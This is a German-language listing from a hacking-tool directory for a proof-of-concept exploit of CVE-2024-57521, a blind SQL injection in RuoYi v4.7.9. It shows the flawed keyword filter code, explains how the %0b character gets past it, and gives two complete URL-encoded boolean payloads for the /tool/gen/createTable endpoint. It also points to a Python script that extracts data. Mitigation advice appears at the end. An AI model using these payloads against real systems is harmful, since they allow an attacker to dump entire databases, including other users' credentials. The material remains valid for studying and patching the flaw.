Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-57521-SQL-Injection-PoC — Blind-SQL-Injection-Proof-of-Concept-Exploit für RuoYi v4.7.9, der den CVE-2024-42900-Filter umgeht, um Datenbanken über authentifizierte boolesche Injektion auszulesen. | Kitploit
Tools/GitHubGitHub/mrlihd/cve-2024-57521-sql-injection-poc
Payload-GenerierungSchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsDatenbanksicherheit
GitHubmrlihd/cve-2024-57521-sql-injection-poc

CVE-2024-57521-SQL-Injection-PoC

Blind-SQL-Injection-Proof-of-Concept-Exploit für RuoYi v4.7.9, der den CVE-2024-42900-Filter umgeht, um Datenbanken über authentifizierte boolesche Injektion auszulesen.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Repository anzeigen
15vor 9 MonatenNoch nicht geprüft
Teilen

Authentifizierte SQL-Injection in RuoYi v4.7.9 (Umgehung von CVE-2024-42900)

Einleitung

Ich habe eine Blind-SQL-Injection-Schwachstelle in der createTable-Funktion des RuoYi Framework v4.7.9 entdeckt. Diese ermöglicht es einem authentifizierten Administrator, beliebige SQL-Befehle über den Parameter sql auszuführen. Dies ist eine Umgehung des Fixes für CVE-2024-42900, da der SQL-Injection-Filter in der Methode filterKeyword unzureichend ist. Der reguläre Ausdruck kann umgangen werden, indem %0b als alternatives Zeichen für Leerzeichen verwendet wird.

Betroffene Version

Produkt: RuoYi Framework
Version: ≤ 4.7.9
Link: [Ruoyi]

Schwachstellenanalyse

Die Schwachstelle wurde in der Datei https://github.com/yangzongzhuan/RuoYi/blob/master/ruoyi-common/src/main/java/com/ruoyi/common/utils/sql/SqlUtil.java wie folgt gefunden. Die Anwendung verlässt sich auf Blacklist-Schlüsselwörter, um SQL-Injection-Angriffe zu filtern. Dieser Ansatz ist anfällig für Umgehungen. In diesem Fall wurde zur Behebung von CVE-2024-42900 die Zeichenkette /* zur Blacklist hinzugefügt, aber die Anwendung blockiert das Zeichen %0b weiterhin nicht, sodass ich es verwenden kann, um eine SQL-Injection mit select%0b auszulösen.

public class SqlUtil
{
    /**
     * 定义常用的 sql关键字
     */
    public static String SQL_REGEX = "and |extractvalue|updatexml|sleep|exec |insert |select |delete |update |drop |count |chr |mid |master |truncate |char |declare |or |union |like |+|/*|user()";
    // Note the space after 'select '
    public static void filterKeyword(String value)
    {
        if (StringUtils.isEmpty(value))
        {
            return;
        }
        String[] sqlKeywords = StringUtils.split(SQL_REGEX, "\\|");
        for (String sqlKeyword : sqlKeywords)
        {
            if (StringUtils.indexOfIgnoreCase(value, sqlKeyword) > -1)
            {
                throw new UtilException("参数存在SQL注入风险");
            }
        }
    }
}

Der reguläre Ausdruck select matcht select (gefolgt von einem Leerzeichen). Er matcht select%0b nicht, was ein gültiges Trennzeichen in SQL ist.

Schritte zur Reproduktion der booleschen SQL-Injection

  1. Melden Sie sich als Administrator an
  2. Senden Sie eine createTable-Anfrage (verwundbarer Endpunkt /tool/gen/createTable)
    a. Injizieren Sie eine TRUE-Abfrage: true-query
    sql=CREATE%20table%20j2iz96_666%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c18%2c1))%3d45%2c%201%2c%201%2f0)%3b
    
    b. Injizieren Sie eine FALSE-Abfrage: false-query
    sql=CREATE%20table%20j2iz96_665%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c5%2c1))%3d44%2c%201%2c%201%2f0)%3b
    

Achtung: Der Tabellenname in der CREATE-Abfrage muss nach jeder erfolgreichen Abfrage geändert werden. 3. Mit der booleschen SQL-Injection können Daten mithilfe des Python-[poc] in diesem Repository exfiltriert werden
Verwendung
poc-usage
Exfiltrieren der DB-Version per PoC
poc-db-version

Auswirkungen

Ein Angreifer mit Administratorrechten kann die gesamte Datenbank auslesen, einschließlich anderer Benutzeranmeldedaten und Systemkonfigurationen.

Empfehlungen

  1. Filtern Sie das Zeichen %0b.
  2. Filtern Sie das Schlüsselwort select anstelle von select (entfernen Sie das abschließende Leerzeichen).
  3. Aktualisieren Sie das CMS auf die Version 4.8.0 von Ruoyi CMS.
Tool herunterladen